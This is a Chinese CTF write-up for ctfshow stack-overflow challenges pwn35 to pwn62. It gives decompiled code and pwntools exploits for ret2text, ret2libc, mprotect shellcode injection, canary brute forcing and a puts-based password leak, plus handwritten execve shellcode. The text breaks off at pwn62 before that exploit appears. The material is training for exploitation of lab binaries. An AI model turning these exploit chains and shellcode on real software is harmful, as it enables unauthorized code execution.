栈溢出 pwn35 首先checksec一下,看一下开启了哪些保护
[*] '/mnt/d/CTF/ctfshow pwn入门/pwn35' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
很常规的一些保护,没什么看的,直接进入ida里面进行分析
int __cdecl main(int argc, const char **argv, const char **envp) { FILE *stream; // [esp+0h] [ebp-1Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(flag, 64, stream); signal(11, (__sighandler_t)sigsegv_handler); puts(asc_8048910); puts(asc_8048984); puts(asc_8048A00); puts(asc_8048A8C); puts(asc_8048B1C); puts(asc_8048BA0); puts(asc_8048C34); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : See what the program does! "); puts(" * ************************************* "); puts("Where is flag?\n"); if ( argc <= 1 ) { puts("Try again!"); } else { ctfshow((char *)argv[1]); printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]); } return 0; } char *__cdecl ctfshow(char *src) { char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF return strcpy(dest, src); }
在ctfshow函数里面有一个明显的栈溢出,只要我们的参数非常多就可以造成栈溢出了。这道题的关键点是signal函数
signal(11, (__sighandler_t)sigsegv_handler);
首先需要知道的是signal函数是C标准库中用于设置某个信号的处理方式的函数;参数11在Linux里面通常是SIGSEGV,表示非法内存访问;sigsegv_handler是收到该信号时调用的函数,也就是说如果发生了非法内存访问,在这道题里面就是ctfshow函数发生栈溢出,就会调用sigsegv_handler这个函数。
void __noreturn sigsegv_handler() { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); }
这个函数可以打印出flag。
pwn36 首先checksec一下,看一下开启了哪些保护
[*] '/mnt/d/CTF/ctfshow pwn入门/pwn36' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
依旧很常规,并且关闭了NX保护,理论上可以打shellcode。进入ida中进行分析
char *__cdecl ctfshow() { char s[36]; // [esp+0h] [ebp-28h] BYREF return gets(s); } int get_flag() { char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); return printf(s); }
存在很明显的栈溢出漏洞,还有输出flag的函数,那么exp如下:
cat_flag = 0x08048586 payload = cyclic(0x28+4) + p32(cat_flag) sl(payload)
pwn37 根据题目描述知道这是一道简单的32位ret2text,看一下开启了哪些保护
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn37' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
进入ida中进行分析
ssize_t ctfshow() { _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF return read(0, buf, 0x32u); } int backdoor() { system("/bin/sh"); return 0; }
存在明显的栈溢出与后门函数。system函数用于在当前程序中调用shell执行一条字符串形式的命令,程序会等待命令执行结束,并通过返回值获得执行状态。因此system(“/bin/sh”)会调用system函数让系统通过/bin/sh -c,执行/bin/sh,从而启动一个新的shell,这个shell会继承漏洞程序的标准输入和输出,如果程序的输入输出已经连接到攻击者的网络连接,攻击者就能直接向shell输入命令并接收执行结果。shell是用户与操作系统交互的命令解释器,它接收输入的命令,解析后调用相应程序或系统功能,并把结果返回给你。exp如下:
backdoor = 0x8048521 payload = cyclic(0x12 + 4) + p32(backdoor) sl(payload)
pwn38 和37一样的道理,只是变成了64位程序,这里需要注意的是堆栈平衡问题
backdoor = 0x400657 payload = cyclic(0xA + 8) + p64(backdoor) sl(payload)
如果是直接像上面这段exp一样的话,报错,为什么呢,使用gdb调试一下
*RSP 0x7ffc3f80c3f0 —▸ 0x7ffc3f80c40a ◂— 0x4000007ffc3f80 *RIP 0x400657 (backdoor) ◂— push rbp
发现原因所在了,RIP指向了backdoor的地址,说明控制流的跳转是成功的,但是此时的rsp不对,因为在64位中,正常调用函数进入时的函数入口应该满足
而现在是0,差了八字节,因此补一个ret就可以解决这个问题了,ret会额外再弹8个字节。
ret = 0x0000000000400287 backdoor = 0x400657 payload = cyclic(0xA + 8) + p64(ret) + p64(backdoor) sl(payload)
这样一来就可以获得shell了。
pwn39 [*] '/mnt/d/ctf/ctfshow pwn入门/pwn39' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
根据题目描述,这一次是将system函数与/bin/sh字符串分开了,那么这道题的做法就是将/bin/sh字符串作为参数传入到system函数中,因为是32位,所以这些操作都是在栈上完成的,exp如下:
bin_sh = 0x08048750 system = elf.plt['system'] payload = cyclic(0x12 + 4) + p32(system) + p32(0) + p32(bin_sh) sl(payload)
pwn40 和pwn39一样的漏洞点,不同点在于这次是64位,而64位是用寄存器进行传参的,还有注意堆栈平衡。就直接上exp了
bin_sh = 0x0000000000400808 system = elf.plt['system'] rdi = 0x00000000004007e3 ret = 0x00000000004004fe payload = cyclic(0xA + 8) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) sl(payload)
pwn41 这道题主要是使用system(‘sh’)代替了system(‘/bin/sh’)获取shell。区别就是前者是绝对路径不依赖PATH;后者用的是命令名,要靠PATH,如果PATH异常、受限就可能找不到或者找到的就不是那个PATH。在大多数情况下,两者都能够拿到shell,但更倾向于前者,因为更稳定,不怎么受到环境变量的影响。直接上exp
sh = 0x080487BA system = elf.plt['system'] payload = cyclic(0x12 + 4) + p32(system) + p32(0) + p32(sh) sl(payload)
pwn42 和41同理,就是变成了64位的,exp如下:
ret = 0x000000000040053e pop_rdi = 0x0000000000400843 sh = 0x0000000000400872 system = elf.plt['system'] payload = cyclic(0xA + 8) + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) sl(payload)
pwn43 这道题目有system函数,但是没有可以用的字符串,其实这种一般的想法就是打ret2libc,通过类似于puts或者write函数泄漏出libc基址,从而构造payload获得shell。exp如下:
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ctfshow = 0x8048787 payload_1 =cyclic(0x6C + 4) + p32(puts_plt) + p32(ctfshow) + p32(puts_got) sl(payload_1) puts_addr = u32(io.recvuntil("\xf7")[-4:]) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x067560 system = libc_base + 0x03cf10 bin_sh = libc_base + 0x17b9db payload_2 = cyclic(0x6C + 4) + p32(system) + p32(0) + p32(bin_sh) sl(payload_2)
pwn44 和43同理,只是这道是64位,exp如下:
ret = 0x00000000004004fe pop_rdi = 0x00000000004007f3 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ctfshow = 0x40071D payload_1 = cyclic(0xA + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) sl(payload_1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x0809c0 system = libc_base + 0x04f440 bin_sh = libc_base + 0x1b3e9a payload_2 = cyclic(0xA + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) sl(payload_2)
pwn45 这道题目就是很纯的ret2libc了,既没有system函数,也没有相应的字符串了。exp如下:
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ctfshow = 0x804863E payload_1 = cyclic(0x6B + 4) + p32(puts_plt) + p32(ctfshow) + p32(puts_got) sl(payload_1) puts_addr = u32(io.recvuntil('\xf7')[-4:]) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x067360 system = libc_base + 0x03cd10 bin_sh = libc_base + 0x17b8cf payload_2 = cyclic(0x6B + 4) + p32(system) + p32(0) + p32(bin_sh) s(payload_2)
pwn46 和pwn45同理,64位的,exp如下:
ret = 0x00000000004004fe rdi = 0x0000000000400803 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ctfshow = 0x40071D payload_1 = cyclic(0x70 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) sl(payload_1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x0809c0 system = libc_base + 0x04f440 bin_sh = libc_base + 0x1b3e9a payload_2 = cyclic(0x70 + 8) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) sl(payload_2)
pwn47 32位的一道题目,根据题目描述,应该是打ret2libc
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn47' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
放入ida中进行分析一波
int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); logo(&argc); puts("Give you some useful addr:\n"); printf("puts: %p\n", &puts); printf("fflush %p\n", &fflush); printf("read: %p\n", &read); printf("write: %p\n", &write); printf("gift: %p\n", useful); // "/bin/sh" putchar(10); ctfshow(); return 0; } int ctfshow() { char s[152]; // [esp+Ch] [ebp-9Ch] BYREF puts("Start your show time: "); gets(s); return puts(s); }
因为没有开启PIE保护,所以给到的东西都能使用,这里就使用puts来打ret2libc吧,exp如下:
io.recvuntil("puts: 0x") puts_addr = int(io.recv(8),16) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x067360 system = libc_base + 0x03cd10 bin_sh = libc_base + 0x17b8cf payload = cyclic(0x9C + 4) + p32(system) + p32(0) + p32(bin_sh) sl(payload)
pwn48 直接打32位的ret2libc,就直接上exp了
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ctfshow = 0x804860E payload_1 = cyclic(0x6B + 4) + p32(puts_plt) + p32(ctfshow) + p32(puts_got) sl(payload_1) puts_addr = u32(io.recvuntil('\xf7')[-4:]) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x067360 system = libc_base + 0x03cd10 bin_sh = libc_base + 0x17b8cf payload_2 = cyclic(0x6B + 4) + p32(system) + p32(0) + p32(bin_sh) s(payload_2)
pwn49 一道静态编译的32位题目,查看一下开启了哪些保护
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn49' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
尽管这里看是开启了canary保护,但是不影响我们的栈溢出,因为在ida中分析那个溢出点的时候是没有存在canary的
int ctfshow() { _BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF return read(0, v1, 100); }
存在明显的栈溢出,但是由于这道题是静态编译的,因此打不了标准的ret2libc,根据这道题目的提示,让我们使用mprotect函数,这个函数是Linux中用来修改一段内存页权限的函数
int mprotect(void *addr, size_t len, int prot);
第一个参数表示起始地址,第二个参数表示修改多大一段内存,第三个参数表示改成什么权限,权限就是可读、可写、可执行。其实这道题知道这一点就可以做出来了,现在就只需要找到起始地址就行了,大部分pwn使用的是bss段,这专门用来存放未初始化的变量或静态变量,为什么选这个呢,首先地址相对固定、空间大、一般可读可写、不容易被覆盖。 欧克,知道上面这些知识后,大致思路就出来了,我们可以通过栈溢出返回到mprotect函数修改bss段上的权限,接着再调用read函数向这段上写入shellcode,最后再返回到这段上从而获得shell。exp如下:
mprotect_addr = elf.sym['mprotect'] read_addr = elf.sym['read'] bss_addr = 0x80db000 shellcode = elf.bss() + 0x500 payload_1 = cyclic(0x12 + 4) + p32(mprotect_addr) + p32(0x08056194) + p32(bss_addr) + p32(0x1000) + p32(7) + p32(read_addr) + p32(shellcode) + p32(0) + p32(shellcode) + p32(0x100) s(payload_1) sleep(0.1) payload_2 = asm(shellcraft.sh()) s(payload_2)
pwn50 这是一道64位的题目,官方的做法是跟上一题一样,使用mprotect函数,修改权限,从而打shellcode获得shell,但是由于这道题目是动态链接,有puts函数可以泄漏,因此就不像上一道题不能打ret2libc。因此的话这道题给两个exp: 首先给一个两个都一样的,泄漏libc
ret = 0x00000000004004fe rdi = 0x00000000004007e3 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] ctfshow = 0x400637 payload_1 = cyclic(0x20 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) sl(payload_1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) leak("puts_addr",puts_addr) libc_base = puts_addr - 0x080970
接着是ret2libc的打法
system = libc_base + 0x04f420 bin_sh = libc_base + 0x1b3d88 payload_2 = cyclic(0x20 + 8) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) sl(payload_2)
然后是mprotect的打法,这道题目没有现成的pop rdx;ret,因此的话就是直接找libc里面的就行了。
gets = libc_base + 0x080060 mprotect = libc_base + 0x011b7e0 rdx = libc_base + 0x0000000000001b96 rsi = libc_base + 0x0000000000023a6a shellcode_addr = 0x0602300 bss_addr = 0x0602000 payload_2 = cyclic(0x20 + 8) + p64(rdi) + p64(bss_addr) + p64(rsi) + p64(0x1000) + p64(rdx) + p64(7) + p64(mprotect) + p64(ctfshow) sl(payload_2) payload_3 = cyclic(0x20 + 8) + p64(rdi) + p64(shellcode_addr) + p64(gets) + p64(shellcode_addr) sl(payload_3) sleep(0.1) sl(asm(shellcraft.sh()))
pwn51 一道32位的简单的C++题目
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn51' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
没什么特别的,直接放入ida中进行分析吧
int sub_8049059() { int v0; // eax int v1; // eax unsigned int v2; // eax int v3; // eax const char *src; // eax int v6; // [esp-Ch] [ebp-84h] int v7; // [esp-8h] [ebp-80h] _BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF char s[32]; // [esp+Ch] [ebp-6Ch] BYREF _BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF _BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF unsigned int i; // [esp+5Ch] [ebp-1Ch] memset(s, 0, sizeof(s)); puts("Who are you?"); read(0, s, 0x20u); std::string::operator=(&unk_804D0A0, &unk_804A350); std::string::operator+=(&unk_804D0A0, s); std::string::basic_string(v10, &unk_804D0B8); std::string::basic_string(v11, &unk_804D0A0); sub_8048F06(v8); std::string::~string(v11, v11, v10); std::string::~string(v10, v6, v7); if ( sub_80496D6(v8) > 1u ) { std::string::operator=(&unk_804D0A0, &unk_804A350); v0 = sub_8049700(v8, 0); if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) ) { v1 = sub_8049700(v8, 0); std::string::operator+=(&unk_804D0A0, v1); } for ( i = 1; ; ++i ) { v2 = sub_80496D6(v8); if ( v2 <= i ) break; std::string::operator+=(&unk_804D0A0, "IronMan"); v3 = sub_8049700(v8, i); std::string::operator+=(&unk_804D0A0, v3); } } src = (const char *)std::string::c_str(&unk_804D0A0); strcpy(s, src); printf("Wow!you are:%s", s); return sub_8049616(v8); }
从这道题目可以看出,还是得学C++,不能光学C去了。这道题目,由于不怎么会C++,于是我是猜测的方法,因为在代码中出现了IronMan,而且理论上来说通过0x20的读入是造成不了栈溢出了,所以只能靠strcpy函数来造成栈溢出,我就猜测应该是输入某一个单词,将这个单词替换成IronMan,接着全部复制给s,从而就能造出栈溢出了
Who are you? $ I Wow!you are:IronMan Who are you? $ II Wow!you are:IronManIronMan
通过测试知道了使用I来进行替换的,那么就简单了,附件里面也给出了所需字符串以及system函数
payload = b"I" * 16 + p32(0x804902e) sl(payload)
pwn52 依旧是32位的题目,保护和上面的差不多,就不再赘述了,直接放入ida中分析
int ctfshow() { char s[104]; // [esp+Ch] [ebp-6Ch] BYREF gets(s); return puts(s); } char *__cdecl flag(int n876, int n877) { char *result; // eax char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } result = fgets(s, 64, stream); if ( n876 == 0x36C && n877 == 877 ) return (char *)printf(s); return result; }
存在明显的栈溢出函数,以及输出flag的函数,思路就是利用gets函数进行栈溢出覆盖返回地址到flag函数,但是这里flag函数有两个函数,只有这两个函数满足要求才能够输出flag字符串,那么这道题的考点就在这里。exp如下:
flag_addr = 0x08048586 payload = cyclic(0x6C + 4) + p32(flag_addr) + p32(0) + p32(0x36c) + p32(0x36d) sl(payload)
pwn53 依旧32位,直接ida中进行分析
int canary() { FILE *stream; // [esp+Ch] [ebp-Ch] stream = fopen("/canary.txt", "r"); if ( !stream ) { puts("/canary.txt: No such file or directory."); exit(0); } fread(&global_canary, 1u, 4u, stream); return fclose(stream); } int ctfshow() { size_t nbytes; // [esp+4h] [ebp-54h] BYREF _DWORD v2[8]; // [esp+8h] [ebp-50h] BYREF _BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF int s1; // [esp+48h] [ebp-10h] BYREF int n31; // [esp+4Ch] [ebp-Ch] n31 = 0; s1 = global_canary; printf("How many bytes do you want to write to the buffer?\n>"); while ( n31 <= 31 ) { read(0, (char *)v2 + n31, 1u); if ( *((_BYTE *)v2 + n31) == 10 ) break; ++n31; } __isoc99_sscanf(v2, "%d", &nbytes); printf("$ "); read(0, buf, nbytes); if ( memcmp(&s1, &global_canary, 4u) ) { puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!"); exit(-1); } puts("Where is the flag?"); return fflush(stdout); } int flag() { char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); puts(s); return fflush(stdout); }
从所给代码可以看出,这道题目模拟了一个canary,这个canary主要是用于检测栈上输入的数据是否将不该修改的值修改了,若有异常就终止退出。这道题目使用的是文件的形式设置了一个canary的值,因为没有输出泄漏函数,所以大概率是爆破canary且canary的值是不变的。爆破脚本如下:
canary = b"" for i in range(4): for j in range(0xff): io=remote(ip,port) sla("How many bytes do you want to write to the buffer?\n>",b"-1") payload = cyclic(0x20) + canary + p8(j) sa("$ ",payload) io.recv(1) ans = io.recv() print(ans) if b'Canary Value Incorrect!' not in ans: canary += p8(j) break else : print("trying") io.close() print(hex(u32(canary)))
这个爆破脚本的思路就是一个字节一个字节的进行对比爆破,所以这里用的是p8,因为刚开始什么都不知道,所以将canary设为空串,后面就是接收输出看是否正确,然后就一个一个的爆破就行了。最后得到canary的值,打一次ret2text就行了。
io=remote(ip,port) sl(b"-1") payload_1 = cyclic(0x20) + canary + p32(0) * 4 + p32(0x08048696) sl(payload_1)
pwn54 不多说了,直接ida中进行分析
int __cdecl main(int argc, const char **argv, const char **envp) { char s1[64]; // [esp+0h] [ebp-1A0h] BYREF char s_[256]; // [esp+40h] [ebp-160h] BYREF char s[64]; // [esp+140h] [ebp-60h] BYREF FILE *stream; // [esp+180h] [ebp-20h] char *v8; // [esp+184h] [ebp-1Ch] int *p_argc; // [esp+194h] [ebp-Ch] p_argc = &argc; setvbuf(stdout, 0, 2, 0); memset(s, 0, sizeof(s)); memset(s_, 0, sizeof(s_)); memset(s1, 0, sizeof(s1)); puts("==========CTFshow-LOGIN=========="); puts("Input your Username:"); fgets(s_, 256, stdin); v8 = strchr(s_, 10); if ( v8 ) *v8 = 0; strcat(s_, ",\nInput your Password."); stream = fopen("/password.txt", "r"); if ( !stream ) { puts("/password.txt: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("Welcome "); puts(s_); fgets(s1, 64, stdin); s_[0] = 0; if ( !strcmp(s1, s) ) { puts("Welcome! Here's what you want:"); flag(); } else { puts("You has been banned!"); } return 0; } int flag() { char s[48]; // [esp+Ch] [ebp-3Ch] BYREF FILE *stream; // [esp+3Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 48, stream); printf("%s", s); return 0; }
这是一道模拟登录系统的题目,关键就是密码的泄漏与接收,因为我们输入名字的地方与存放密码的地方刚好相差了0x100给字节,且我们能够输入0x100个字节,因此我们可以利用puts函数遇到\x00才截断停止的特性,将垃圾数据连带着密码一起输出出来就行了,因为这道题也是使用文件,所以大概率密码不会变。exp如下:
payload_1 = b"b"*0x100 sl(payload_1) io.recvuntil(b"bb,") password = io.recv(33) print(password) io=remote(ip,port) sl(b"haoo") sl(password)
pwn55 依旧直接放入ida中进行分析
char *ctfshow() { char s[40]; // [esp+Ch] [ebp-2Ch] BYREF printf("Input your flag: "); return gets(s); } int __cdecl flag(int a1) { char s[48]; // [esp+Ch] [ebp-3Ch] BYREF FILE *stream; // [esp+3Ch] [ebp-Ch] stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 48, stream); if ( flag1 && flag2 && a1 == 0xBDBDBDBD ) return printf("%s", s); if ( flag1 && flag2 ) return puts("Incorrect Argument."); if ( flag1 || flag2 ) return puts("Nice Try!"); return puts("Flag is not here!"); } Elf32_Dyn **__cdecl flag_func2(int a1) { Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax _GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_; if ( flag1 && a1 == 0xACACACAC ) { flag2 = 1; } else if ( flag1 ) { return (Elf32_Dyn **)puts("Try Again."); } else { return (Elf32_Dyn **)puts("Try a little bit."); } return _GLOBAL_OFFSET_TABLE; } Elf32_Dyn **flag_func1() { Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax _GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_; flag1 = 1; return _GLOBAL_OFFSET_TABLE; }
根据题目描述,大概可以知道这道题目考查的是栈溢出过后如何进行传参从而满足条件获得flag。首先这道题想要获得flag,得让flag1为真、flag2为真、a1(也就是传入flag函数的参数)等于0xBDBDBDBD;如何让flag1为真,就得执行flag_func1函数;如何让flag2为真,就得让flag1为真的同时,让传入的参数为0xACACACAC;最后再跳转到flag函数,让参数满足条件就可以获得flag了。exp如下:
func_1 = 0x8048586 func_2 = 0x0804859D flag = 0x08048606 payload = cyclic(0x2c + 4) + p32(func_1) + p32(func_2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD) sl(payload)
pwn56 这是一道32位的shellcode的基础题目
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn56' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stripped: No
发现这次将NX保护关闭了,NX保护就是把内存中的数据区标记成不可执行,而shellcode是一段攻击者构造出来并让程序执行的机器码,如果开启了NX保护,我们注入shellcode的那一段区域就是不可执行的,因此shellcode就没有用了。大致知道了后放入ida中看一下
void __noreturn start() { int v0; // eax char _bin___sh_[10]; // [esp-Ch] [ebp-Ch] BYREF __int16 v2; // [esp-2h] [ebp-2h] v2 = 0; strcpy(_bin___sh_, "/bin///sh"); v0 = sys_execve(_bin___sh_, 0, 0); } .text:08048060 public start .text:08048060 start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push 68h ; 'h' .text:08048062 push 732F2F2Fh ; 's///' .text:08048067 push 6E69622Fh ; 'nib/' .text:0804806C mov ebx, esp ; file .text:0804806E xor ecx, ecx ; argv .text:08048070 xor edx, edx ; envp .text:08048072 push 0Bh .text:08048074 pop eax .text:08048075 int 80h ; LINUX - sys_execve .text:08048075 start endp .text:08048075 .text:08048075 _text ends .text:08048075
这道题是直接起了一个/bin/sh然后调用execve启动shell,相当于就是32位的系统调用,后面简单的shellcode编写也大致长这样,使用汇编进行一定的编写。先来介绍一下execve函数的三个参数:第一个是pathname指向要执行的程序路径、第二个是命令行参数数组、第三个是环境变量数组。在32位中,分别用ebx、ecx、edx进行存储,eax存储系统调用号,使用int 80h代表软件中断,让CPU从用户态进入内核态,再由内核去处理系统调用。
pwn57 64位的,直接看汇编吧
.text:0000000000400080 _start proc near ; DATA XREF: LOAD:0000000000400018↑o .text:0000000000400080 push rax .text:0000000000400081 xor rdx, rdx .text:0000000000400084 xor rsi, rsi .text:0000000000400087 mov rbx, 68732F2F6E69622Fh ; 'hs//nib/' .text:0000000000400091 push rbx .text:0000000000400092 push rsp .text:0000000000400093 pop rdi .text:0000000000400094 mov al, 3Bh ; ';' .text:0000000000400096 syscall ; LINUX - .text:0000000000400096 _start endp
在64位中是rax存储系统调用号,rdi存储第一个参数、rsi存储第二个参数、rdx存储第三个参数,使用syscall代表进入内核态做系统调用。
pwn58 进一步熟悉怎么打32位的shellcode
[*] '/mnt/d/ctf/ctfshow pwn入门/pwn58' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
没有开启NX保护,可以直接注入shellcode并跳转执行。放入ida中进行分析,这道题好像得直接看关键点的汇编。
.text:080486C5 add esp, 10h .text:080486C8 sub esp, 0Ch .text:080486CB lea eax, [ebp+s] .text:080486D1 push eax ; s .text:080486D2 call ctfshow .text:080486D7 add esp, 10h .text:080486DA lea eax, [ebp+s] .text:080486E0 call eax int __cdecl ctfshow(char *s) { gets(s); return puts(s); }
还是挺简单的,向局部变量s输入不限字节长度的数据,最后在跳转到输入数据的地址并执行这段数据的内容。对于这道题目而言,就是考查的shellcode的编写,这里有两种写法:一种是使用pwntools中的shellcraft;一种是自己手搓汇编。因为后面难一点的会限制一些东西,所以这里会将两种方式都写出来,后面遇到要手搓的再手搓了,因为shellcraft还是方便。 shellcraft的写法:
shellcode = asm(shellcraft.sh()) print(len(shellcode)) sl(shellcode)
由于有些会限制shellcode的长度,所以这里看一下使用这个方法的shellcode的长度是44 手搓shellcode的写法: 这里可以借鉴一下上面的那道题目:
shellcode = ''' push 0x68; push 0x732F2F2F; push 0x6E69622F; mov ebx,esp; xor ecx,ecx; xor edx,edx; mov eax,0xb; int 0x80; ''' shellcode = asm(shellcode) print(len(shellcode)) sl(shellcode)
而这个shellcode的长度就只有25了,比使用shellcraft的短了很多
pwn59 和pwn58同理,只是变成了64位,因此在这里就直接上exp了 shellcraft写法:
shellcode = asm(shellcraft.sh()) print(len(shellcode)) sl(shellcode)
shellcode的长度是48 手搓shellcode写法:
shellcode = ''' push rax; xor rdx, rdx; xor rsi, rsi; mov rbx, 0x68732F2F6E69622F; push rbx; push rsp; pop rdi; mov al, 0x3B; syscall; ''' shellcode = asm(shellcode) print(len(shellcode)) sl(shellcode)
shellcode的长度是24
pwn60 [*] '/mnt/d/ctf/ctfshow pwn入门/pwn60' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
依旧没有开NX保护,可以打shellcode,直接放入ida中进行分析
int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("CTFshow-pwn can u pwn me here!!"); gets(s); strncpy(buf2, s, 0x64u); buf2在bss段上 printf("See you ~"); return 0; }
思路很简单,就是将输入的数据取0x64字节长度的数据到buf2中,那么这道题就直接将shellcode放到buf2上,利用栈溢出将返回地址改为输入shellcode的地址就行了。exp如下:
buf2 = 0x0804A080 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112,b"\x00") + p32(buf2) sl(payload)
至于这里为什么是112,而不是0x68,下面使用gdb调一下就知道了
pwndbg> cyclic -l 0x62616164 Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162) Found at offset 112
pwn61 [*] '/mnt/d/ctf/ctfshow pwn入门/pwn61' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
存在PIE保护,但是关闭了NX保护,看起来还好,放入ida中进行分析一手
int __fastcall main(int argc, const char **argv, const char **envp) { FILE *__bss_start; // rdi _QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF v5[0] = 0; v5[1] = 0; __bss_start = _bss_start; setvbuf(_bss_start, 0, 1, 0); logo(__bss_start, 0); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", v5); puts("Maybe it's useful ! But how to use it?"); gets(v5); return 0; }
输出了v5的地址,那么就好办了啊,直接将shellcode写入到返回地址后面,然后将返回地址修改为shellcode的地址就行了。exp如下:
io.recvuntil("[0x") v5 = int(io.recv(12),16) leak("v5",v5) shellcode = asm(shellcraft.sh()) payload = cyclic(0x10 + 8) + p64(v5 + 0x20) + shellcode sl(payload)
pwn62 [*] '/mnt/d/ctf/ctfshow pwn入门/pwn62' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
差不多的保护,直接放入ida中分析
int __fastcall main(int argc, const char **argv, const char **envp) { FILE *__bss_start; // rdi _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF buf[0] = 0; buf[1] = 0; __bss_start = _bss_start; setvbuf(_bss_start, 0, 1, 0); logo(__bss_start, 0); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", buf); puts("Maybe it's useful ! But how to use it?"); read(0, buf, 0x38u); return 0; }
也差不多,只是输入shellcode的长度短了一些,但是使用上面那个是够的,直接上exp:
